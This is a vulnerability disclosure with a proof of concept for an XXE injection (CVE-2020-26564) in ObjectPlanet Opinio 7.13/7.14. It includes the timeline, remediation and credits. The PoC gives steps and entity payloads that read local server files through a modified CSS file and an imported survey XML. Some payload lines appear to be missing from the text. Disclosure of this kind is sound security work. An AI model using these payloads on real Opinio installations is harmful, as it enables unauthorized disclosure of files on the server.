ObjectPlanet Opinio 7.13 / 7.14 XML Injection

ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.

MD5 | 42b0801a736a8c5f0e5d56cd04363a4e

# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26564

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.

# 3. Proof of Concept

### XXE leading to local file disclosure ###

Step 1:

URL: /opinio/admin/file.do?action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css

Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file to a dtd reference file for the XXE injection
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:

<!ENTITY all "%start;%file;%end;">


Step 2:

Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this snippet into the top of the .xml file:

<!ENTITY % file SYSTEM "file:////C:\Users\">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">

Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the
surveyIntro field):


The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.

Import the modified .xml file to:


Step 3:

The C:\Users\ directory can be viewed at :

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

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